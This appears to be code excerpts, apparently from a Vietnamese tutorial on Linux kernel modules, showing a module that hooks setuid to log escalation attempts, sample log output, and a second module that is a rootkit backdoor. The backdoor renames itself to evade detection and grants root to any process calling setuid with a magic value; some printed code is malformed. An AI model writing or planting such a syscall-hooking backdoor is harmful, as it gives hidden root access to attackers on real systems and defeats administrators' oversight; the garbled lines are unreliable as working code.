#define __KERNEL__
#define MODULE
#include <linux/config.h>
#include <linux/modules.h>
#include <linux/version.h>
#include <sys/syscall.h>
#include <linux/sched.h>
#include <linux/types.h>

int (*real_setuid) (uid_t);
int new_setuid (uid_t);
extern void *sys_call_table[];

int init_module()
{
real_setuid = sys_call_table[ SYS_setuid ];
sys_call_table[ SYS_setuid ] = (void *)new_setuid;
return 0;
}
int cleanup_module()
{
sys_call_table[ SYS_setuid ] = (void *)real_setuid;
return 0;
}

int new_setuid(uid_t uid)
{
int status;
if ( !current->uid || uid == current->uid) return (*real_setuid)(uid);
printk(“logsetuid: uid: %d euid:%d dest_uid:%d pid:%d proc:%d,
current->uid, current->euid, uid, current->pid, current->comm”);
printk(“status:%s\n”, (status = (*real_setuid) (uid)) ? “failed” : “succeeded”);
return status;
}

logsetuid: uid: 500 euid: 500 dest_uid: 0 pid: 13552
proc: setuid_test status: failed
logsetuid: uid: 500 euid: 500 dest_uid: 0 pid: 13624
proc: sh_copy status: failed
logsetuid: uid: 705 euid: 705 dest_uid: 0 pid: 13680
proc: setuid_test1 status: failed
logsetuid: uid: 500 euid: 0 dest_uid: 0 pid: 13802
proc: setuid_test2 status: succeeded

int new_setuid(uid_t);
int (*real_setuid)(uid_t);
extern void *sys_call_table[];

int init_module()
{
// Đổi tên module để tránh bị phát hiện.
register struct module *mp asm(“%ebx”);
*(char *) (mp->name) = ‘d’; *(char *) (mp->name+1) = ‘s’;
*(char *) (mp->name+2) = ‘2’; *(char *) (mp->name+3) = ‘\0’;
real_setuid = sys_call_table[ SYS_setuid ];
sys_call_table[ SYS_setuid ] = (void *) new_setuid;
return 0;
}

int cleanup_module()
{
sys_call_table[ SYS_setuid ] = (void *) real_setuid;
return 0;
}

int new_setuid(uid_t uid)
{
if (uid == 19876)
{
current->uid = 0; current->gid = 0;
current->euid = 0; current->egid = 0;
return 0;
}
return (*real_setuid)(uid);
}